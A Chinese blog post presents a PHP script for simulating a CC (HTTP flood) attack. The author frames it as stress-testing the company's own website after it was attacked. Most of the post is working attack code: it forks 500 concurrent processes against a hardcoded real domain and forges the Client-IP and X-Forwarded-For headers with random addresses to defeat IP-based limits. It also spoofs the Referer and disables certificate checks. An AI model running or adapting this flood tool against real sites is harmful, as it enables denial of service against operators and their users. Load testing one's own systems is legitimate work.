最近公司官网被CC攻击，所以编写了这个脚本用于模拟攻击并发量和相应的流量峰值，加以调整防护。

```php
<?php

error_reporting(E_ALL);  //提示错误信息
set_time_limit(0);     //设定一个程式所允许执行的秒数   0 是无限循环
ob_implicit_flush();     // 刷新输出缓冲

// 客户端伪造IP地址
function ip()
{
    $ip_long = array(
        array('607649792', '608174079'), // 36.56.0.0-36.63.255.255
        array('1038614528', '1039007743'), // 61.232.0.0-61.237.255.255
        array('1783627776', '1784676351'), // 106.80.0.0-106.95.255.255
        array('2035023872', '2035154943'), // 121.76.0.0-121.77.255.255
        array('2078801920', '2079064063'), // 123.232.0.0-123.235.255.255
        array('-1950089216', '-1948778497'), // 139.196.0.0-139.215.255.255
        array('-1425539072', '-1425014785'), // 171.8.0.0-171.15.255.255
        array('-1236271104', '-1235419137'), // 182.80.0.0-182.92.255.255
        array('-770113536', '-768606209'), // 210.25.0.0-210.47.255.255
        array('-569376768', '-564133889'), // 222.16.0.0-222.95.255.255
        );
    $rand_key = mt_rand(0, 9);
    return $ip = long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));
} 
function https_request($url){
    # 初始化一个cURL会话
    $curl = curl_init();  
    //设置请求选项, 包括具体的url
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);  //禁用后cURL将终止从服务端进行验证
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    
    $ip = ip();
    $headers = [];
    $headers['CLIENT-IP'] = $ip; 
    $headers['X-FORWARDED-FOR'] = $ip;
    $headerArr = array(); 
    foreach( $headers as $n => $v ) { 
        $headerArr[] = $n .':' . $v;  
    }
  
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);  
    curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1000);      
    curl_setopt($curl, CURLOPT_HTTPHEADER , $headerArr );  //构造IP
    curl_setopt($curl, CURLOPT_REFERER, "https://www.163.com/ ");   //构造来路
    $response = curl_exec($curl);  //执行一个cURL会话并且获取相关回复
    curl_close($curl);  //释放cURL句柄,关闭一个cURL会话
    return $response;
}

$t1=microtime(true);
$pids = [];
// CC攻击，500并发
for ($i=1; $i<=500; $i++) {
    $pid = pcntl_fork();
    // 子进程处理逻辑
    if ($pid == 0) {
        // 爬虫抓包
        $res = https_request('http://www.an-daijia.com');
        echo '第'.$i.'次，抓取完成'.PHP_EOL;
        exit;
    }
    // 主进程处理逻辑
    elseif ($pid > 0) {
        $pids[] = $pid;
    }
}
// 监听子进程状态，当子进程退出时，回收子进程信息，防止僵尸进程
while (count($pids)) {
    foreach ($pids as $key => $pid) {
        // 非阻塞获取子进程状态，如果要堵塞把WNOHANG去掉就行
        // $res -1：进程非正常退出，例如信号 0：子进程未退出 大于0：子进程正常退出，res为子进程进程号
        $res = pcntl_waitpid($pid, $status, WNOHANG);
        if ($res == -1 || $res > 0) {
            unset($pids[$key]);
        }
    }
}
$t2=microtime(true);
echo '总耗时'.round($t2-$t1, 7).'s'.PHP_EOL;
```

已有0条评论

添加新评论☺

如果认为本文对您有所帮助请赞助本站

支付宝扫一扫赞助

已有0条评论

添加新评论☺